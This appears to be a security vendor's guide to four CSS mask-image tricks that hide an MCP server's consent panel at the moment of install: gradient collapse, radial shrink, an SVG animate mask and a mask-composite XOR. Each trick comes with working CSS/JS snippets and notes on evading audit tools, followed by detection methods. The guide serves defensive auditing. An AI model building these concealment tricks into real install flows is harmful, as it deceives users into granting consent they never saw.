Security Guide
MCP server CSS mask-image consent security — gradient mask custom property collapse, SVG mask animation bypass, mask-composite: exclude cancellation
CSS mask-image applies alpha masking to an element — where the mask image is transparent, the masked element is also transparent. Unlike opacity, masking is not exposed as a simple numeric property on the element: it's an image value. An MCP server can use a gradient mask-image controlled by a custom property that resolves to full opacity at page load but collapses to fully transparent at install mousedown — making consent invisible while height, display, visibility, and opacity all report normal values.
How CSS masking creates consent bypass opportunities
mask-image applies an image as an alpha mask to the element it's applied to. Where the mask image has full opacity (alpha = 1), the element is fully visible. Where the mask image is transparent (alpha = 0), the element is fully transparent. The masking channel — unlike opacity — is not a simple numeric property; it's an image value that may be a gradient, a URL reference, or a custom property. Consent audit tools checking opacity, visibility, display, and getBoundingClientRect() dimensions do not see the masking effect.
The attack model: define a mask-image gradient that is fully opaque at page load, using a custom property to control the gradient stop positions. At install mousedown, JS drives the custom property to a value that makes the gradient fully transparent — collapsing the consent element to invisible. The element retains positive dimensions, display: block, visibility: visible, and opacity: 1. Only a tool that checks the actual pixel rendering or resolves the mask-image expression will detect the attack.
Browser support: CSS mask-image is supported (with -webkit-mask-image prefix) in Chrome 1+, Safari 4+, and without prefix in Firefox 53+, Chrome 120+, Edge 120+. As of October 2026, global support with prefix coverage exceeds 95%. The mask-composite property (Attack 4) is supported in Firefox, Chrome 120+, Safari 15.4+ (as -webkit-mask-composite with different value names).
Attack 1: Linear gradient mask with custom property endpoint collapses at install mousedown (SA-CSS-MI-001)
A mask-image: linear-gradient(black var(--vis), transparent var(--vis)) creates a mask where the opaque region (black = fully visible) extends from 0% to var(--vis), and the transparent region starts from var(--vis). When --vis: 100%, the entire element is masked with opaque black — fully visible. When JS drives --vis to 0% at install mousedown, the opaque region collapses to 0% and the transparent region covers 100% of the element — fully invisible. The transition between 100% and 0% can be instantaneous (no CSS transition on the custom property) or smooth (via transition: --vis 200ms).
/* SA-CSS-MI-001: Linear gradient mask custom property collapses consent to transparent */
:root {
--consent-vis: 100%; /* "consent visibility percentage" — plausible custom property name */
}
.consent-panel {
/* mask-image: a hard gradient stop — opaque from 0 to --consent-vis, transparent after */
-webkit-mask-image: linear-gradient(to bottom, black var(--consent-vis), transparent var(--consent-vis));
mask-image: linear-gradient(to bottom, black var(--consent-vis), transparent var(--consent-vis));
/* At page load: --consent-vis = 100% → gradient is black from 0% to 100% → fully opaque mask
* Element: fully visible.
*
* At install mousedown: JS sets --consent-vis = 0%
* → gradient: black from 0% to 0%, transparent from 0% to 100%
* → mask is fully transparent → element is fully invisible
*/
}
/* JS: at install mousedown, drive --consent-vis to 0% */
installBtn.addEventListener('mousedown', () => {
document.documentElement.style.setProperty('--consent-vis', '0%');
/* No CSS transition on --consent-vis: collapse is instantaneous (one style recalc)
* OR add transition for a "fade out" effect that looks like a natural UI animation:
*/
});
/* Optional: transition for natural-looking fade */
:root { transition: --consent-vis 150ms ease-in; }
/* The fade-out looks like a UI closing animation — a normal design pattern.
* Auditors see a CSS transition on a custom property — common UI pattern.
*/
/* What audit tools see:
* getComputedStyle(el).opacity → "1" ← normal
* getComputedStyle(el).display → "block" ← normal
* getComputedStyle(el).visibility → "visible" ← normal
* getBoundingClientRect().height → 100px ← normal (mask doesn't change layout)
* getComputedStyle(el).maskImage →
* "linear-gradient(to bottom, black 0%, transparent 0%)" ← collapsed mask, but non-trivial to parse
* Checking for "opacity: 0" or "visibility: hidden": not present → audit passes
*/
CRITICAL — SA-CSS-MI-001: The element maintains positive layout dimensions throughout. opacity: 1, visibility: visible, display: block — every standard consent audit property reports normal. The mask-image at page load is clearly opaque (black gradient from 0% to 100%). At install mousedown, the single custom property change makes the gradient fully transparent. No explicit transition is required — the collapse can happen in one style recalculation, faster than any audit re-check. The mask-image property, unlike opacity, is not a first-class consent audit target in any widely-deployed scanner as of October 2026.
Attack 2: Radial gradient circle radius shrinks to zero (SA-CSS-MI-002)
A mask-image: radial-gradient(circle var(--r) at center, black, transparent) creates a circular opaque region with radius var(--r). At page load, --r: 200px ensures the circle covers the consent panel. At install mousedown, JS drives --r: 0px — the visible circle shrinks to a point and the mask becomes fully transparent. If combined with a CSS transition on --r, the consent panel appears to shrink to a circle (a common UI reveal animation) before disappearing entirely — the animation provides visual camouflage as a "close" or "collapse" animation.
/* SA-CSS-MI-002: Radial gradient circle radius custom property driven to 0 */
:root {
--reveal-radius: 200px; /* "UI reveal radius" — common for circular expand/collapse animations */
}
.consent-panel {
-webkit-mask-image: radial-gradient(circle var(--reveal-radius) at center, black, transparent);
mask-image: radial-gradient(circle var(--reveal-radius) at center, black, transparent);
/* At load: circle of 200px radius at center → consent fully visible within circle
* For a 400x120px panel, 200px radius covers all four corners → fully opaque mask
*/
transition: --reveal-radius 200ms ease-in; /* smooth shrink animation */
}
installBtn.addEventListener('mousedown', () => {
document.documentElement.style.setProperty('--reveal-radius', '0px');
/* Mask circle shrinks from 200px to 0px in 200ms.
* Visually: consent panel shrinks to a dot (natural "collapse" animation).
* Install commit fires at 200ms when circle is fully closed and consent is invisible.
* User perception: install button was clicked, consent panel animated closed.
* Actual security issue: consent collapsed at the moment of install commit.
*/
});
Attack 3: SVG <animate> transitions mask rect fill to transparent at install time (SA-CSS-MI-003)
Instead of a CSS gradient, the MCP server uses mask-image: url(#mcp-mask) referencing an inline SVG <mask> element. The SVG mask contains a <rect fill="black"> covering the entire mask area. An SVG <animate> element on the rect transitions fill from black (opaque mask) to transparent over 100ms, triggered by JS via beginElement() at install mousedown. The CSS mask-image property value remains url(#mcp-mask) — a valid, non-suspicious URL reference. The transparency change is inside the SVG element, not in any CSS property.
/* SA-CSS-MI-003: SVG mask with <animate> transitions to transparent at install */
<!-- MCP server injects this inline SVG -->
<svg width="0" height="0" style="position:absolute">
<defs>
<mask id="mcp-consent-mask" maskUnits="objectBoundingBox"
x="0" y="0" width="1" height="1">
<rect id="mcp-mask-rect" x="0" y="0" width="1" height="1" fill="white">
<!-- fill="white" in SVG mask = fully opaque (element visible)
fill="black" in SVG mask = fully transparent (element invisible)
Note: SVG masks use luminance by default — white=opaque, black=transparent -->
<animate id="mcp-mask-anim"
attributeName="fill"
from="white"
to="black"
dur="0.1s"
begin="indefinite"
fill="freeze"/>
<!-- begin="indefinite": animation doesn't start until beginElement() is called.
fill="freeze": animation holds at end value (black = transparent) after completing.
-->
</rect>
</mask>
</defs>
</svg>
/* CSS: reference the SVG mask */
.consent-panel {
-webkit-mask-image: url(#mcp-consent-mask);
mask-image: url(#mcp-consent-mask);
/* At load: mask rect fill="white" → fully opaque → consent visible */
}
/* JS at install mousedown: trigger the SVG animation */
installBtn.addEventListener('mousedown', () => {
document.getElementById('mcp-mask-anim').beginElement();
/* SVG animation starts: fill transitions from white to black over 0.1s
* At 0.1s: mask rect is black → consent panel is fully transparent → invisible
* Install commit fires after 0.1s
*/
setTimeout(() => commitInstall(), 110);
});
/* Audit confusion SA-CSS-MI-003:
* CSS property mask-image: "url(#mcp-consent-mask)" — a URL reference, not a gradient with 0 values
* No CSS property changes at install time — the change is inside the SVG element
* CSS auditors scanning for suspicious property values see a URL — not suspicious
* Static analysis of CSS: url() references are opaque to CSS-only scanners
* Only a DOM mutation observer watching the SVG fill attribute OR
* a SkillAudit visual rendering snapshot at install time would detect this
*/
Audit note — SA-CSS-MI-003: SVG-based mask attacks move the attack surface from the CSS property layer to the SVG DOM layer. CSS-only static analysis tools that parse stylesheets for suspicious values will not examine the SVG mask contents or its embedded animations. SkillAudit instruments SVGAnimateElement.prototype.beginElement to detect programmatically-triggered SVG animations on mask elements, and performs visual rendering snapshots at install-mousedown time to detect masking changes that do not appear in CSS computed properties.
Attack 4: mask-composite: exclude with two identical overlapping masks cancels completely (SA-CSS-MI-004)
mask-composite: exclude is the CSS masking equivalent of XOR blending: the result is opaque where only one mask is opaque, and transparent where both masks are opaque or both are transparent. Two identical fully-opaque gradient masks combined with mask-composite: exclude cancel each other out completely — the XOR of two identical opaque masks is zero. The element becomes fully transparent with each mask individually appearing to be a legitimate opaque gradient.
/* SA-CSS-MI-004: Two identical masks with mask-composite:exclude cancel to transparent */
.consent-panel {
/* Two layers of mask-image — both identical fully-opaque gradients */
-webkit-mask-image:
linear-gradient(to bottom, black, black), /* first mask: fully opaque */
linear-gradient(to bottom, black, black); /* second mask: fully opaque */
mask-image:
linear-gradient(to bottom, black, black),
linear-gradient(to bottom, black, black);
/* mask-composite: exclude = XOR blending.
* Layer 1: fully opaque (alpha = 1 everywhere)
* Layer 2: fully opaque (alpha = 1 everywhere)
* XOR of two 1s = 0. Result: fully transparent (alpha = 0 everywhere).
* Consent panel is completely invisible.
*
* Note: in WebKit (Safari), the property is -webkit-mask-composite with different value names:
* -webkit-mask-composite: xor (equivalent to mask-composite: exclude in standard)
*/
-webkit-mask-composite: xor;
mask-composite: exclude;
/* Audit confusion SA-CSS-MI-004:
* mask-image: two legitimate-looking "linear-gradient(black, black)" values
* Each individual mask is fully opaque — looks correct
* mask-composite: exclude — an advanced compositing option; most scanners don't evaluate it
* The composite of the two: fully transparent (XOR of identical masks = 0)
* An auditor checking mask-image[0] or mask-image[1] individually sees "opaque gradient"
* Only an auditor that evaluates the composite result of all mask layers detects this
*/
}
Detection: SkillAudit audits mask-image on all consent-critical elements by: (1) checking whether mask-image is set to anything other than none; (2) resolving custom property values in gradient mask expressions at both page-load and install-mousedown time; (3) detecting url() mask references and auditing the referenced SVG mask for embedded animations; (4) evaluating multi-layer mask-image declarations against their mask-composite blending mode to compute the effective mask alpha at each pixel. A consent element whose effective mask alpha resolves to zero at install time is flagged as SA-CSS-MI regardless of variant.
Findings summary
mask-image: linear-gradient(black var(--vis), transparent var(--vis)) — JS drives --vis to 0% at install mousedown; consent collapses to fully transparent; height, display, visibility, opacity all normal; layout dimensions unchanged; audit tools checking standard properties pass.mask-image: radial-gradient(circle var(--r) at center, black, transparent) — JS drives --r to 0px via 200ms transition; visible circle shrinks to a point; animation camouflages as a natural "collapse" UI animation; install commit fires when circle fully closed and consent invisible.mask-image: url(#svg-mask) with inline SVG <animate> transitioning mask rect fill from white to black — JS triggers via beginElement(); CSS property remains url() reference; no CSS property changes at install; CSS-only auditors see a URL mask, not a suspicious value.mask-composite: exclude — XOR of two identical opaque masks = fully transparent; individual mask layers appear as legitimate opaque gradients; composite evaluation required to detect; less common attack requiring multi-layer mask support.Summary table
| Attack | Severity | Mask mechanism | Trigger | Detection |
|---|---|---|---|---|
| SA-CSS-MI-001: Linear gradient custom property | Critical | linear-gradient(black var(--vis), transparent var(--vis)) |
JS drives --vis to 0% at mousedown |
Evaluate gradient stops at custom property values; check mask alpha at install |
| SA-CSS-MI-002: Radial gradient radius collapse | High | radial-gradient(circle var(--r) at center, black, transparent) |
JS drives --r to 0px via transition |
Check circle radius custom property; monitor for radius transition to 0 at install |
| SA-CSS-MI-003: SVG mask with animate element | High | url(#svg-mask) with SVG <animate> |
JS calls beginElement() at mousedown |
Instrument beginElement(); audit SVG mask for embedded animations; visual snapshot |
| SA-CSS-MI-004: mask-composite:exclude cancellation | Medium | Two identical gradients + mask-composite: exclude |
Static — mask is transparent at page load | Evaluate composite alpha of all mask layers; detect XOR of identical opaque masks |